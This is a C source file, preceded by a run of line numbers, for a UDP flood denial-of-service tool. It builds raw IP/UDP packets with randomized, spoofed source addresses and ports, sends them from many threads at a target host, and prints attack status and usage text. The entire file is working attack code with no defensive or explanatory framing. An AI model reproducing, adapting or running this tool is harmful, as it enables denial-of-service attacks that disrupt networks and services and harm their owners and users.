1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
|
#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>
#define DEFAULT_DELAY 0
#define DEFAULT_PACKET_SIZE 1024
#define DEFAULT_THREADS 40
void* udpflood_thread(void*);
void* kill_thread(void*);
void handle_signal(int);
int dns_resolve(char*, struct in_addr*);
void print_usage(char*);
struct udpflood_args {
unsigned char running;
in_addr_t address;
size_t packet_size;
};
struct udpflood_args thread_args;
char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" };
int main(int argc, char *argv[]) {
int i, status;
time_t delay = DEFAULT_DELAY;
size_t packet_size = DEFAULT_PACKET_SIZE;
int threads = DEFAULT_THREADS;
int flag;
int flags = 1;
while((flag = getopt(argc, argv, "d:s:t:")) != -1) {
switch(flag) {
case 'd':
delay = (time_t) atoi(optarg);
break;
case 's':
packet_size = (size_t) atoi(optarg);
break;
case 't':
threads = atoi(optarg);
break;
case '?':
exit(EXIT_FAILURE);
break;
}
flags++;
}
if(argc - flags < 1) {
printf("%s: Missing Address!\n", argv[0]);
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
char* address_string = argv[argc - 1];
struct in_addr address;
status = inet_aton(address_string, &address);
if(status == 0) {
status = dns_resolve(address_string, &address);
if(status == -1) {
printf("%s: Invalid Address!\n", argv[0]);
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
}
srand(time(NULL));
signal(SIGINT, handle_signal);
thread_args.address = address.s_addr;
thread_args.packet_size = packet_size;
thread_args.running = 1;
printf("Flooding %s (%s)\n", address_string, inet_ntoa(address));
if(delay == 0) {
printf(" Duration: Forever\n");
} else {
printf(" Duration: %d seconds\n", (int) delay);
}
printf(" Threads: %d\n", threads);
i = 0;
size_t size = packet_size;
while(size >= 1024) {
size /= 1024;
i++;
}
if(i < (sizeof(size_suffixes) / sizeof(char*))) {
printf(" Packet Size: %zu%s\n", size, size_suffixes[i]);
} else {
printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]);
}
time_t start_time = time(NULL);
pthread_t tids[threads];
for(i = 0; i < threads; i++) {
pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args);
}
time_t end_time = time(NULL) + delay;
unsigned char infinite_delay = 0;
if(delay <= 0) infinite_delay = 1;
while(time(NULL) < end_time || infinite_delay && thread_args.running);
printf("Ending attack...\n");
if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time));
pthread_t kill_tid;
pthread_create(&kill_tid, NULL, &kill_thread, NULL);
thread_args.running = 0;
for(i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
}
exit(EXIT_SUCCESS);
}
void* udpflood_thread(void* args_ptr) {
int i, status;
struct udpflood_args* args = (struct udpflood_args*) args_ptr;
int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sock_fd < 0) return NULL;
int val = 1;
int* ptr = &val;
status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val));
if(status < 0) return NULL;
struct ip_header {
unsigned char ihl;
unsigned char tos;
unsigned short len;
unsigned short ident;
unsigned short offset;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned int source;
unsigned int dest;
};
struct udp_header {
unsigned short source_port;
unsigned short dest_port;
unsigned short len;
unsigned short checksum;
};
void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
struct ip_header* ip = (struct ip_header*) packet;
struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header));
unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header);
for(i = 0; i < args->packet_size; i++) data[i] = rand();
ip->ihl = 5 | (4 << 4);
ip->tos = 46 << 2;
ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size;
ip->ident = htons(rand());
ip->ttl = 64;
ip->protocol = 17;
ip->dest = args->address;
udp->len = htons(sizeof(struct udp_header) + args->packet_size);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = args->address;
while(args->running) {
unsigned short dest_port = rand();
ip->source = htons(rand());
udp->source_port = htons(rand());
udp->dest_port = htons(rand());
ip->checksum = 0;
addr.sin_port = htons(dest_port);
sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr));
}
free(packet);
close(sock_fd);
}
void* kill_thread(void* args_ptr) {
time_t end_time = time(NULL) + 5;
while(time(NULL) < end_time);
printf("Failed to close threads! Terminating...\n");
exit(EXIT_SUCCESS);
}
void handle_signal(int signal) {
if(signal == SIGINT) {
printf("\nCaught SIGINT\n");
thread_args.running = 0;
}
}
int dns_resolve(char* name, struct in_addr* address) {
struct hostent *he;
he = gethostbyname(name);
if(he == NULL) return -1;
in_addr_t **addr = (in_addr_t**) he->h_addr_list;
address->s_addr = *addr[0];
return 0;
}
void print_usage(char* command) {
printf("Usage: %s [ -d seconds ] [ -s bytes ] [ -t threads ] <address>\n", command);
printf("\n");
printf(" -d seconds Sets the duration of the attack in seconds.\n");
printf(" -s bytes Overrides the default packet size in bytes.\n");
printf(" -t threads Specifies the number of threads for the attack.\n");
printf("\n");
}
|